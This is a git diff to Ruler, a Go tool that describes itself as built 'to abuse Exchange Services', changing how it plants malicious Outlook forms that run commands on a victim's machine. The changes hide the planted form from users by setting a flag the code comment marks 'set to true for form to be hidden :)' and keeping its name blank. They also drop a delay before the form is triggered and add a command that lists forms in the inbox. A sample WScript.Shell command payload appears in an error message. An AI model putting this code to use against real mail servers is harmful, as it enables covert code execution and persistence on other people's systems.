diff --git a/forms/rulerforms.go b/forms/rulerforms.go index 8b51d35..c4a7711 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -88,8 +88,8 @@ func CreateFormMessage(suffix string) ([]byte, error) { propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookTruncatedProps, PropertyValue: []byte{0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00}} propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookLangID, PropertyValue: []byte{0x00, 0x00, 0x00, 0x00}} propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookFileType, PropertyValue: []byte{0x00}} - propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(" ")} //Keep the name "invisible" - there will be an entry in the UI but it will be appear blank - since it's simply a space - propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0x00}} + propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(" ")} //Keep the name "invisible" - there will be an entry in the UI but it will be appear blank - since it's simply a space + propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :) propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)} data := utils.EncodeNum(uint32(2)) //COUNT as a uint32 instead of the usual uint16 @@ -100,7 +100,7 @@ func CreateFormMessage(suffix string) ([]byte, error) { propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(data)), data...)} data = []byte{0x0C, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} propertyTagx[10] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(data)), data...)} - propertyTagx[11] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1111110010000000"), []byte{0x00}...)} + propertyTagx[11] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1112110010000000"), []byte{0x00}...)} data, err = utils.ReadFile("templates/img0.bin") if err != nil { @@ -195,3 +195,36 @@ func DeleteForm(suffix string, folderid []byte) ([]byte, error) { return nil, nil } + +//DisplayForms is used to display all forms in the specified folder +func DisplayForms(folderid []byte) error { + + columns := make([]mapi.PropertyTag, 2) + columns[0] = mapi.PidTagOfflineAddressBookName + columns[1] = mapi.PidTagMid + + assoctable, err := mapi.GetAssociatedContents(folderid, columns) + if err != nil { + return err + } + var forms []string + + for k := 0; k < len(assoctable.RowData); k++ { + name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray) + if name != "" && len(name) > 3 { + if byte(name[0]) != 0x0a { + forms = append(forms, name) + } + } + } + if len(forms) > 0 { + utils.Info.Printf("Found %d forms\n", len(forms)) + for _, v := range forms { + utils.Info.Println(v) + } + } else { + utils.Info.Printf("No Forms Found\n") + } + + return nil +} diff --git a/mapi/datastructs.go b/mapi/datastructs.go index c9a13e0..0f3a3d5 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1450,7 +1450,7 @@ func (queryRows *RopQueryRowsResponse) Unmarshal(resp []byte, properties []Prope pos++ } } else if property.PropertyType == PtypBinary { - cnt, p := utils.ReadByte(pos, resp) + cnt, p := utils.ReadUint16(pos, resp) pos = p trow.ValueArray, pos = utils.ReadBytes(pos, int(cnt), resp) rows[k] = append(rows[k], trow) diff --git a/ruler.go b/ruler.go index ecf9d63..dc19824 100644 --- a/ruler.go +++ b/ruler.go @@ -511,8 +511,6 @@ func createForm(c *cli.Context) error { //trigger the email if the send option is enabled if c.Bool("send") == true { - utils.Info.Println("Waiting for 30 seconds. This is just for synchronisation.") - time.Sleep(time.Second * 30) return triggerForm(c) } return nil @@ -549,6 +547,16 @@ func deleteForm(c *cli.Context) error { return nil } +func displayForms(c *cli.Context) error { + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + + if err := forms.DisplayForms(folderid); err != nil { + utils.Error.Println("Failed to find any forms.") + return err + } + return nil +} + func main() { app := cli.NewApp() @@ -917,8 +925,8 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, }, Action: func(c *cli.Context) error { - if len(c.String("suffix")) != 3 { - return cli.NewExitError("The suffix is needs to be 3 characters long.", 1) + if c.String("suffix") == "" { + return cli.NewExitError("The suffix is needs to be set.", 1) } if c.String("command") == "" && c.String("input") == "" { utils.Error.Println("Please supply a valid command.\nSample:\nCreateObject(\"WScript.Shell\").Run \"calc.exe\", 0, False") @@ -960,9 +968,6 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` if c.String("suffix") == "" { return cli.NewExitError("The suffix is required. Please use the same value as supplied to the 'add' command. Default is pew", 1) } - if len(c.String("suffix")) != 3 { - return cli.NewExitError("The suffix is needs to be 3 characters long.", 1) - } err := connect(c) if err != nil { @@ -974,7 +979,8 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` } return nil }, - }, { + }, + { Name: "delete", Usage: "delete an existing form", Flags: []cli.Flag{ @@ -988,9 +994,6 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` if c.String("suffix") == "" { return cli.NewExitError("The suffix is required. Please use the same value as supplied to the 'add' command. Default is pew", 1) } - if len(c.String("suffix")) != 3 { - return cli.NewExitError("The suffix is needs to be 3 characters long.", 1) - } err := connect(c) if err != nil { @@ -1003,6 +1006,23 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` return nil }, }, + { + Name: "display", + Usage: "display all existing forms", + + Action: func(c *cli.Context) error { + + err := connect(c) + if err != nil { + return cli.NewExitError(err, 1) + } + err = displayForms(c) + if err != nil { + exit(err) + } + return nil + }, + }, }, }, } diff --git a/templates/formtemplate.bin b/templates/formtemplate.bin index 62d0b83..548aee8 100644 Binary files a/templates/formtemplate.bin and b/templates/formtemplate.bin differ diff --git a/utils/utils.go b/utils/utils.go index 2c11b1f..c2ee5cd 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -214,7 +214,7 @@ func ReadByte(pos int, buff []byte) (byte, int) { func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { //stupid hack as using bufio and ReadString(byte) would terminate too early //would terminate on 0x00 instead of 0x0000 - index := bytes.Index(buff[pos:], []byte{0x00, 0x00}) + index := bytes.Index(buff[pos:], []byte{0x00, 0x00, 0x00}) + 1 str := buff[pos : pos+index] return []byte(str), pos + index + 2 }